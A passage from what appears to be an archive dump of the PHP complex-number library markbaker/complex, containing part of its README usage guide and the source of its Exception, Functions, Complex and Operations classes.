use [MarkBaker/PHPComplexFunctions](https://github.com/MarkBaker/PHPComplexFunctions) instead (available on packagist as [markbaker/complex-functions](https://packagist.org/packages/markbaker/complex-functions)). You'll need to replace `markbaker/complex`in your `composer.json` file with the new library, but otherwise there should be no difference in the namespacing, or in the way that you have called the Complex functions in the past, so no actual code changes are required. ```shell composer require markbaker/complex-functions:^3.0 ``` You should not reference this library (`markbaker/complex`) in your `composer.json`, composer wil take care of that for you. # Usage To create a new complex object, you can provide either the real, imaginary and suffix parts as individual values, or as an array of values passed passed to the constructor; or a string representing the value. e.g ```php $real = 1.23; $imaginary = -4.56; $suffix = 'i'; $complexObject = new Complex\Complex($real, $imaginary, $suffix); ``` or as an array ```php $real = 1.23; $imaginary = -4.56; $suffix = 'i'; $arguments = [$real, $imaginary, $suffix]; $complexObject = new Complex\Complex($arguments); ``` or as a string ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); ``` Complex objects are immutable: whenever you call a method or pass a complex value to a function that returns a complex value, a new Complex object will be returned, and the original will remain unchanged. This also allows you to chain multiple methods as you would for a fluent interface (as long as they are methods that will return a Complex result). ## Performing Mathematical Operations To perform mathematical operations with Complex values, you can call the appropriate method against a complex value, passing other values as arguments ```php $complexString1 = '1.23-4.56i'; $complexString2 = '2.34+5.67i'; $complexObject = new Complex\Complex($complexString1); echo $complexObject->add($complexString2); ``` or use the static Operation methods ```php $complexString1 = '1.23-4.56i'; $complexString2 = '2.34+5.67i'; echo Complex\Operations::add($complexString1, $complexString2); ``` If you want to perform the same operation against multiple values (e.g. to add three or more complex numbers), then you can pass multiple arguments to any of the operations. You can pass these arguments as Complex objects, or as an array, or string that will parse to a complex object. ## Using functions When calling any of the available functions for a complex value, you can either call the relevant method for the Complex object ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo $complexObject->sinh(); ``` or use the static Functions methods ```php $complexString = '1.23-4.56i'; echo Complex\Functions::sinh($complexString); ``` As with operations, you can pass these arguments as Complex objects, or as an array or string that will parse to a complex object. In the case of the `pow()` function (the only implemented function that requires an additional argument) you need to pass both arguments when calling the function ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo Complex\Functions::pow($complexObject, 2); ``` or pass the additional argument when calling the method ```php $complexString = '1.23-4.56i'; $complexObject = new Complex\Complex($complexString); echo $complexObject->pow(2); ``` markbaker/complex/classes/src/Exception.php000064400000000361151676714400015060 0ustar00<?php /** * Exception. * * @copyright Copyright (c) 2013-2018 Mark Baker (https://github.com/MarkBaker/PHPComplex) * @license https://opensource.org/licenses/MIT MIT */ namespace Complex; class Exception extends \Exception { } markbaker/complex/classes/src/Functions.php000064400000073501151676714400015100 0ustar00<?php namespace Complex; use InvalidArgumentException; class Functions { /** * Returns the absolute value (modulus) of a complex number. * Also known as the rho of the complex number, i.e. the distance/radius * from the centrepoint to the representation of the number in polar coordinates. * * This function is a synonym for rho() * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The absolute (or rho) value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * * @see rho * */ public static function abs($complex): float { return self::rho($complex); } /** * Returns the inverse cosine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function acos($complex): Complex { $complex = Complex::validateComplexArgument($complex); $invsqrt = self::sqrt(Operations::subtract(1, Operations::multiply($complex, $complex))); $adjust = new Complex( $complex->getReal() - $invsqrt->getImaginary(), $complex->getImaginary() + $invsqrt->getReal() ); $log = self::ln($adjust); return new Complex( $log->getImaginary(), -1 * $log->getReal() ); } /** * Returns the inverse hyperbolic cosine of a complex number. * * Formula from Wolfram Alpha: * cosh^(-1)z = ln(z + sqrt(z + 1) sqrt(z - 1)). * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function acosh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal() && ($complex->getReal() > 1)) { return new Complex(\acosh($complex->getReal())); } $acosh = self::ln( Operations::add( $complex, Operations::multiply( self::sqrt(Operations::add($complex, 1)), self::sqrt(Operations::subtract($complex, 1)) ) ) ); return $acosh; } /** * Returns the inverse cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acot($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::atan(self::inverse($complex)); } /** * Returns the inverse hyperbolic cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acoth($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::atanh(self::inverse($complex)); } /** * Returns the inverse cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acsc($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::asin(self::inverse($complex)); } /** * Returns the inverse hyperbolic cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function acsch($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::asinh(self::inverse($complex)); } /** * Returns the argument of a complex number. * Also known as the theta of the complex number, i.e. the angle in radians * from the real axis to the representation of the number in polar coordinates. * * This function is a synonym for theta() * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The argument (or theta) value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * * @see theta */ public static function argument($complex): float { return self::theta($complex); } /** * Returns the inverse secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function asec($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::acos(self::inverse($complex)); } /** * Returns the inverse hyperbolic secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function asech($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::acosh(self::inverse($complex)); } /** * Returns the inverse sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function asin($complex): Complex { $complex = Complex::validateComplexArgument($complex); $invsqrt = self::sqrt(Operations::subtract(1, Operations::multiply($complex, $complex))); $adjust = new Complex( $invsqrt->getReal() - $complex->getImaginary(), $invsqrt->getImaginary() + $complex->getReal() ); $log = self::ln($adjust); return new Complex( $log->getImaginary(), -1 * $log->getReal() ); } /** * Returns the inverse hyperbolic sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function asinh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal() && ($complex->getReal() > 1)) { return new Complex(\asinh($complex->getReal())); } $asinh = clone $complex; $asinh = $asinh->reverse() ->invertReal(); $asinh = self::asin($asinh); return $asinh->reverse() ->invertImaginary(); } /** * Returns the inverse tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function atan($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\atan($complex->getReal())); } $t1Value = new Complex(-1 * $complex->getImaginary(), $complex->getReal()); $uValue = new Complex(1, 0); $d1Value = clone $uValue; $d1Value = Operations::subtract($d1Value, $t1Value); $d2Value = Operations::add($t1Value, $uValue); $uResult = $d1Value->divideBy($d2Value); $uResult = self::ln($uResult); $realMultiplier = -0.5; $imaginaryMultiplier = 0.5; if (abs($uResult->getImaginary()) === M_PI) { // If we have an imaginary value at the max or min (PI or -PI), then we need to ensure // that the primary is assigned for the correct quadrant. $realMultiplier = ( ($uResult->getImaginary() === M_PI && $uResult->getReal() > 0.0) || ($uResult->getImaginary() === -M_PI && $uResult->getReal() < 0.0) ) ? 0.5 : -0.5; } return new Complex( $uResult->getImaginary() * $realMultiplier, $uResult->getReal() * $imaginaryMultiplier, $complex->getSuffix() ); } /** * Returns the inverse hyperbolic tangent of a complex number. * * Formula from Wolfram Alpha: * tanh^(-1)z = 1/2 [ln(1 + z) - ln(1 - z)]. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse hyperbolic tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function atanh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { $real = $complex->getReal(); if ($real >= -1.0 && $real <= 1.0) { return new Complex(\atanh($real)); } else { return new Complex(\atanh(1 / $real), (($real < 0.0) ? M_PI_2 : -1 * M_PI_2)); } } $atanh = Operations::multiply( Operations::subtract( self::ln(Operations::add(1.0, $complex)), self::ln(Operations::subtract(1.0, $complex)) ), 0.5 ); return $atanh; } /** * Returns the complex conjugate of a complex number * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The conjugate of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function conjugate($complex): Complex { $complex = Complex::validateComplexArgument($complex); return new Complex( $complex->getReal(), -1 * $complex->getImaginary(), $complex->getSuffix() ); } /** * Returns the cosine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function cos($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\cos($complex->getReal())); } return self::conjugate( new Complex( \cos($complex->getReal()) * \cosh($complex->getImaginary()), \sin($complex->getReal()) * \sinh($complex->getImaginary()), $complex->getSuffix() ) ); } /** * Returns the hyperbolic cosine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cosine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function cosh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\cosh($complex->getReal())); } return new Complex( \cosh($complex->getReal()) * \cos($complex->getImaginary()), \sinh($complex->getReal()) * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function cot($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::tan($complex)); } /** * Returns the hyperbolic cotangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cotangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function coth($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::tanh($complex)); } /** * Returns the cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function csc($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::sin($complex)); } /** * Returns the hyperbolic cosecant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic cosecant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function csch($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { return new Complex(INF); } return self::inverse(self::sinh($complex)); } /** * Returns the exponential of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The exponential of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function exp($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && (\abs($complex->getImaginary()) == M_PI)) { return new Complex(-1.0, 0.0); } $rho = \exp($complex->getReal()); return new Complex( $rho * \cos($complex->getImaginary()), $rho * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the inverse of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The inverse of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If function would result in a division by zero */ public static function inverse($complex): Complex { $complex = clone Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { throw new InvalidArgumentException('Division by zero'); } return $complex->divideInto(1.0); } /** * Returns the natural logarithm of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The natural logarithm of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function ln($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } return new Complex( \log(self::rho($complex)), self::theta($complex), $complex->getSuffix() ); } /** * Returns the base-2 logarithm of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The base-2 logarithm of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function log2($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } elseif (($complex->getReal() > 0.0) && ($complex->getImaginary() == 0.0)) { return new Complex(\log($complex->getReal(), 2), 0.0, $complex->getSuffix()); } return self::ln($complex) ->multiply(\log(Complex::EULER, 2)); } /** * Returns the common logarithm (base 10) of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The common logarithm (base 10) of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If the real and the imaginary parts are both zero */ public static function log10($complex): Complex { $complex = Complex::validateComplexArgument($complex); if (($complex->getReal() == 0.0) && ($complex->getImaginary() == 0.0)) { throw new InvalidArgumentException(); } elseif (($complex->getReal() > 0.0) && ($complex->getImaginary() == 0.0)) { return new Complex(\log10($complex->getReal()), 0.0, $complex->getSuffix()); } return self::ln($complex) ->multiply(\log10(Complex::EULER)); } /** * Returns the negative of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The negative value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * * @see rho * */ public static function negative($complex): Complex { $complex = Complex::validateComplexArgument($complex); return new Complex( -1 * $complex->getReal(), -1 * $complex->getImaginary(), $complex->getSuffix() ); } /** * Returns a complex number raised to a power. * * @param Complex|mixed $complex Complex number or a numeric value. * @param float|integer $power The power to raise this value to * @return Complex The complex argument raised to the real power. * @throws Exception If the power argument isn't a valid real */ public static function pow($complex, $power): Complex { $complex = Complex::validateComplexArgument($complex); if (!is_numeric($power)) { throw new Exception('Power argument must be a real number'); } if ($complex->getImaginary() == 0.0 && $complex->getReal() >= 0.0) { return new Complex(\pow($complex->getReal(), $power)); } $rValue = \sqrt(($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary())); $rPower = \pow($rValue, $power); $theta = $complex->argument() * $power; if ($theta == 0) { return new Complex(1); } return new Complex($rPower * \cos($theta), $rPower * \sin($theta), $complex->getSuffix()); } /** * Returns the rho of a complex number. * This is the distance/radius from the centrepoint to the representation of the number in polar coordinates. * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The rho value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function rho($complex): float { $complex = Complex::validateComplexArgument($complex); return \sqrt( ($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary()) ); } /** * Returns the secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function sec($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::cos($complex)); } /** * Returns the hyperbolic secant of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic secant of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function sech($complex): Complex { $complex = Complex::validateComplexArgument($complex); return self::inverse(self::cosh($complex)); } /** * Returns the sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sin($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\sin($complex->getReal())); } return new Complex( \sin($complex->getReal()) * \cosh($complex->getImaginary()), \cos($complex->getReal()) * \sinh($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the hyperbolic sine of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic sine of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sinh($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\sinh($complex->getReal())); } return new Complex( \sinh($complex->getReal()) * \cos($complex->getImaginary()), \cosh($complex->getReal()) * \sin($complex->getImaginary()), $complex->getSuffix() ); } /** * Returns the square root of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The Square root of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function sqrt($complex): Complex { $complex = Complex::validateComplexArgument($complex); $theta = self::theta($complex); $delta1 = \cos($theta / 2); $delta2 = \sin($theta / 2); $rho = \sqrt(self::rho($complex)); return new Complex($delta1 * $rho, $delta2 * $rho, $complex->getSuffix()); } /** * Returns the tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws InvalidArgumentException If function would result in a division by zero */ public static function tan($complex): Complex { $complex = Complex::validateComplexArgument($complex); if ($complex->isReal()) { return new Complex(\tan($complex->getReal())); } $real = $complex->getReal(); $imaginary = $complex->getImaginary(); $divisor = 1 + \pow(\tan($real), 2) * \pow(\tanh($imaginary), 2); if ($divisor == 0.0) { throw new InvalidArgumentException('Division by zero'); } return new Complex( \pow(self::sech($imaginary)->getReal(), 2) * \tan($real) / $divisor, \pow(self::sec($real)->getReal(), 2) * \tanh($imaginary) / $divisor, $complex->getSuffix() ); } /** * Returns the hyperbolic tangent of a complex number. * * @param Complex|mixed $complex Complex number or a numeric value. * @return Complex The hyperbolic tangent of the complex argument. * @throws Exception If argument isn't a valid real or complex number. * @throws \InvalidArgumentException If function would result in a division by zero */ public static function tanh($complex): Complex { $complex = Complex::validateComplexArgument($complex); $real = $complex->getReal(); $imaginary = $complex->getImaginary(); $divisor = \cos($imaginary) * \cos($imaginary) + \sinh($real) * \sinh($real); if ($divisor == 0.0) { throw new InvalidArgumentException('Division by zero'); } return new Complex( \sinh($real) * \cosh($real) / $divisor, 0.5 * \sin(2 * $imaginary) / $divisor, $complex->getSuffix() ); } /** * Returns the theta of a complex number. * This is the angle in radians from the real axis to the representation of the number in polar coordinates. * * @param Complex|mixed $complex Complex number or a numeric value. * @return float The theta value of the complex argument. * @throws Exception If argument isn't a valid real or complex number. */ public static function theta($complex): float { $complex = Complex::validateComplexArgument($complex); if ($complex->getReal() == 0.0) { if ($complex->isReal()) { return 0.0; } elseif ($complex->getImaginary() < 0.0) { return M_PI / -2; } return M_PI / 2; } elseif ($complex->getReal() > 0.0) { return \atan($complex->getImaginary() / $complex->getReal()); } elseif ($complex->getImaginary() < 0.0) { return -(M_PI - \atan(\abs($complex->getImaginary()) / \abs($complex->getReal()))); } return M_PI - \atan($complex->getImaginary() / \abs($complex->getReal())); } } markbaker/complex/classes/src/Complex.php000064400000026017151676714400014537 0ustar00<?php /** * * Class for the management of Complex numbers * * @copyright Copyright (c) 2013-2018 Mark Baker (https://github.com/MarkBaker/PHPComplex) * @license https://opensource.org/licenses/MIT MIT */ namespace Complex; /** * Complex Number object. * * @package Complex * * @method float abs() * @method Complex acos() * @method Complex acosh() * @method Complex acot() * @method Complex acoth() * @method Complex acsc() * @method Complex acsch() * @method float argument() * @method Complex asec() * @method Complex asech() * @method Complex asin() * @method Complex asinh() * @method Complex atan() * @method Complex atanh() * @method Complex conjugate() * @method Complex cos() * @method Complex cosh() * @method Complex cot() * @method Complex coth() * @method Complex csc() * @method Complex csch() * @method Complex exp() * @method Complex inverse() * @method Complex ln() * @method Complex log2() * @method Complex log10() * @method Complex negative() * @method Complex pow(int|float $power) * @method float rho() * @method Complex sec() * @method Complex sech() * @method Complex sin() * @method Complex sinh() * @method Complex sqrt() * @method Complex tan() * @method Complex tanh() * @method float theta() * @method Complex add(...$complexValues) * @method Complex subtract(...$complexValues) * @method Complex multiply(...$complexValues) * @method Complex divideby(...$complexValues) * @method Complex divideinto(...$complexValues) */ class Complex { /** * @constant Euler's Number. */ const EULER = 2.7182818284590452353602874713526624977572; /** * @constant Regexp to split an input string into real and imaginary components and suffix */ const NUMBER_SPLIT_REGEXP = '` ^ ( # Real part [-+]?(\d+\.?\d*|\d*\.?\d+) # Real value (integer or float) ([Ee][-+]?[0-2]?\d{1,3})? # Optional real exponent for scientific format ) ( # Imaginary part [-+]?(\d+\.?\d*|\d*\.?\d+) # Imaginary value (integer or float) ([Ee][-+]?[0-2]?\d{1,3})? # Optional imaginary exponent for scientific format )? ( # Imaginary part is optional ([-+]?) # Imaginary (implicit 1 or -1) only ([ij]?) # Imaginary i or j - depending on whether mathematical or engineering ) $`uix'; /** * @var float $realPart The value of of this complex number on the real plane. */ protected $realPart = 0.0; /** * @var float $imaginaryPart The value of of this complex number on the imaginary plane. */ protected $imaginaryPart = 0.0; /** * @var string $suffix The suffix for this complex number (i or j). */ protected $suffix; /** * Validates whether the argument is a valid complex number, converting scalar or array values if possible * * @param mixed $complexNumber The value to parse * @return array * @throws Exception If the argument isn't a Complex number or cannot be converted to one */ private static function parseComplex($complexNumber) { // Test for real number, with no imaginary part if (is_numeric($complexNumber)) { return [$complexNumber, 0, null]; } // Fix silly human errors $complexNumber = str_replace( ['+-', '-+', '++', '--'], ['-', '-', '+', '+'], $complexNumber ); // Basic validation of string, to parse out real and imaginary parts, and any suffix $validComplex = preg_match( self::NUMBER_SPLIT_REGEXP, $complexNumber, $complexParts ); if (!$validComplex) { // Neither real nor imaginary part, so test to see if we actually have a suffix $validComplex = preg_match('/^([\-\+]?)([ij])$/ui', $complexNumber, $complexParts); if (!$validComplex) { throw new Exception('Invalid complex number'); } // We have a suffix, so set the real to 0, the imaginary to either 1 or -1 (as defined by the sign) $imaginary = 1; if ($complexParts[1] === '-') { $imaginary = 0 - $imaginary; } return [0, $imaginary, $complexParts[2]]; } // If we don't have an imaginary part, identify whether it should be +1 or -1... if (($complexParts[4] === '') && ($complexParts[9] !== '')) { if ($complexParts[7] !== $complexParts[9]) { $complexParts[4] = 1; if ($complexParts[8] === '-') { $complexParts[4] = -1; } } else { // ... or if we have only the real and no imaginary part // (in which case our real should be the imaginary) $complexParts[4] = $complexParts[1]; $complexParts[1] = 0; } } // Return real and imaginary parts and suffix as an array, and set a default suffix if user input lazily return [ $complexParts[1], $complexParts[4], !empty($complexParts[9]) ? $complexParts[9] : 'i' ]; } public function __construct($realPart = 0.0, $imaginaryPart = null, $suffix = 'i') { if ($imaginaryPart === null) { if (is_array($realPart)) { // We have an array of (potentially) real and imaginary parts, and any suffix list ($realPart, $imaginaryPart, $suffix) = array_values($realPart) + [0.0, 0.0, 'i']; } elseif ((is_string($realPart)) || (is_numeric($realPart))) { // We've been given a string to parse to extract the real and imaginary parts, and any suffix list($realPart, $imaginaryPart, $suffix) = self::parseComplex($realPart); } } if ($imaginaryPart != 0.0 && empty($suffix)) { $suffix = 'i'; } elseif ($imaginaryPart == 0.0 && !empty($suffix)) { $suffix = ''; } // Set parsed values in our properties $this->realPart = (float) $realPart; $this->imaginaryPart = (float) $imaginaryPart; $this->suffix = strtolower($suffix ?? ''); } /** * Gets the real part of this complex number * * @return Float */ public function getReal(): float { return $this->realPart; } /** * Gets the imaginary part of this complex number * * @return Float */ public function getImaginary(): float { return $this->imaginaryPart; } /** * Gets the suffix of this complex number * * @return String */ public function getSuffix(): string { return $this->suffix; } /** * Returns true if this is a real value, false if a complex value * * @return Bool */ public function isReal(): bool { return $this->imaginaryPart == 0.0; } /** * Returns true if this is a complex value, false if a real value * * @return Bool */ public function isComplex(): bool { return !$this->isReal(); } public function format(): string { $str = ""; if ($this->imaginaryPart != 0.0) { if (\abs($this->imaginaryPart) != 1.0) { $str .= $this->imaginaryPart . $this->suffix; } else { $str .= (($this->imaginaryPart < 0.0) ? '-' : '') . $this->suffix; } } if ($this->realPart != 0.0) { if (($str) && ($this->imaginaryPart > 0.0)) { $str = "+" . $str; } $str = $this->realPart . $str; } if (!$str) { $str = "0.0"; } return $str; } public function __toString(): string { return $this->format(); } /** * Validates whether the argument is a valid complex number, converting scalar or array values if possible * * @param mixed $complex The value to validate * @return Complex * @throws Exception If the argument isn't a Complex number or cannot be converted to one */ public static function validateComplexArgument($complex): Complex { if (is_scalar($complex) || is_array($complex)) { $complex = new Complex($complex); } elseif (!is_object($complex) || !($complex instanceof Complex)) { throw new Exception('Value is not a valid complex number'); } return $complex; } /** * Returns the reverse of this complex number * * @return Complex */ public function reverse(): Complex { return new Complex( $this->imaginaryPart, $this->realPart, ($this->realPart == 0.0) ? null : $this->suffix ); } public function invertImaginary(): Complex { return new Complex( $this->realPart, $this->imaginaryPart * -1, ($this->imaginaryPart == 0.0) ? null : $this->suffix ); } public function invertReal(): Complex { return new Complex( $this->realPart * -1, $this->imaginaryPart, ($this->imaginaryPart == 0.0) ? null : $this->suffix ); } protected static $functions = [ 'abs', 'acos', 'acosh', 'acot', 'acoth', 'acsc', 'acsch', 'argument', 'asec', 'asech', 'asin', 'asinh', 'atan', 'atanh', 'conjugate', 'cos', 'cosh', 'cot', 'coth', 'csc', 'csch', 'exp', 'inverse', 'ln', 'log2', 'log10', 'negative', 'pow', 'rho', 'sec', 'sech', 'sin', 'sinh', 'sqrt', 'tan', 'tanh', 'theta', ]; protected static $operations = [ 'add', 'subtract', 'multiply', 'divideby', 'divideinto', ]; /** * Returns the result of the function call or operation * * @return Complex|float * @throws Exception|\InvalidArgumentException */ public function __call($functionName, $arguments) { $functionName = strtolower(str_replace('_', '', $functionName)); // Test for function calls if (in_array($functionName, self::$functions, true)) { return Functions::$functionName($this, ...$arguments); } // Test for operation calls if (in_array($functionName, self::$operations, true)) { return Operations::$functionName($this, ...$arguments); } throw new Exception('Complex Function or Operation does not exist'); } } markbaker/complex/classes/src/Operations.php000064400000016120151676714400015245 0ustar00<?php namespace Complex; use InvalidArgumentException; class Operations { /** * Adds two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to add * @return Complex */ public static function add(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } $real = $result->getReal() + $complex->getReal(); $imaginary = $result->getImaginary() + $complex->getImaginary(); $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Divides two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to divide * @return Complex */ public static function divideby(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base = array_shift($complexValues); $result = clone Complex::validateComplexArgument($base); foreach ($complexValues as $complex) { $complex = Complex::validateComplexArgument($complex); if ($result->isComplex() && $complex->isComplex() && $result->getSuffix() !== $complex->getSuffix()) { throw new Exception('Suffix Mismatch'); } if ($complex->getReal() == 0.0 && $complex->getImaginary() == 0.0) { throw new InvalidArgumentException('Division by zero'); } $delta1 = ($result->getReal() * $complex->getReal()) + ($result->getImaginary() * $complex->getImaginary()); $delta2 = ($result->getImaginary() * $complex->getReal()) - ($result->getReal() * $complex->getImaginary()); $delta3 = ($complex->getReal() * $complex->getReal()) + ($complex->getImaginary() * $complex->getImaginary()); $real = $delta1 / $delta3; $imaginary = $delta2 / $delta3; $result = new Complex( $real, $imaginary, ($imaginary == 0.0) ? null : max($result->getSuffix(), $complex->getSuffix()) ); } return $result; } /** * Divides two or more complex numbers * * @param array of string|integer|float|Complex $complexValues The numbers to divide * @return Complex */ public static function divideinto(...$complexValues): Complex { if (count($complexValues) < 2) { throw new \Exception('This function requires at least 2 arguments'); } $base 